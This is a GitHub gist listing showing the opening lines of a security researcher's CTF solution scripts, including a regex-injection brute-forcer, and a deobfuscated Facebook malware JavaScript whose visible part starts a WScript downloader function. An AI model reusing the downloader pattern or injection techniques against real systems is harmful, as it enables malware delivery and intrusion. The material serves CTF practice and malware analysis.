Skip to content

Instantly share code, notes, and snippets.

View ITAYC0HEN's full-sized avatar

Itay Cohen ITAYC0HEN

View GitHub Profile
@ITAYC0HEN
ITAYC0HEN / SecuPrim.py
Last active September 12, 2016 06:56
[ASIS-CTF] SecuPrim
from pwn import *
from hashlib import *
import string
import itertools
from Crypto.Util.number import *
from sympy import perfect_power
import time
# Cout primes and perfect powers in a range
def countNumbers(lower,upper):
@ITAYC0HEN
ITAYC0HEN / palindrome.py
Last active September 5, 2016 15:42
[TWCTF-2016: PPC] Make a Palindrome!
# -*- coding:utf-8 -*-
# Server connection example file for Python 2
import socket
import sys
import random
import itertools
# My added data
def makepal(l):
for b in itertools.permutations(l, len(l)):
@ITAYC0HEN
ITAYC0HEN / index.php
Last active September 4, 2016 18:50
[TWCTF 2016: Web] Global Page
<?php
if (!defined('INCLUDED_INDEX')) {
define('INCLUDED_INDEX', true);
ini_set('display_errors', 1);
include "flag.php";
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
@ITAYC0HEN
ITAYC0HEN / RegexInjection.ps1
Created August 31, 2016 20:31
[CTF(x) 2016 : WEB] Harambehub – 100 pts
# Written by: Itay Cohen, Aug 2016
$lowercase = [char[]]([int][char]'a'..[int][char]'z')
$uppercase = [char[]]([int][char]'A'..[int][char]'Z')
$numbers = 0..9
$chars = $lowercase+$uppercase+$numbers
function RegexInjection($regex){
foreach($c in $chars)
{
@ITAYC0HEN
ITAYC0HEN / cleanVersion.js
Created June 29, 2016 10:50
Facebook Malware (1st JS file) - June 2016
(function(p)
{
function downloader(url,dest,position)
{
if(!dest || !url)
{return null};
var _httpHandler=WScript.CreateObject("Msxml2.XMLhttp");
_httpHandler.onreadystatechange= function()
{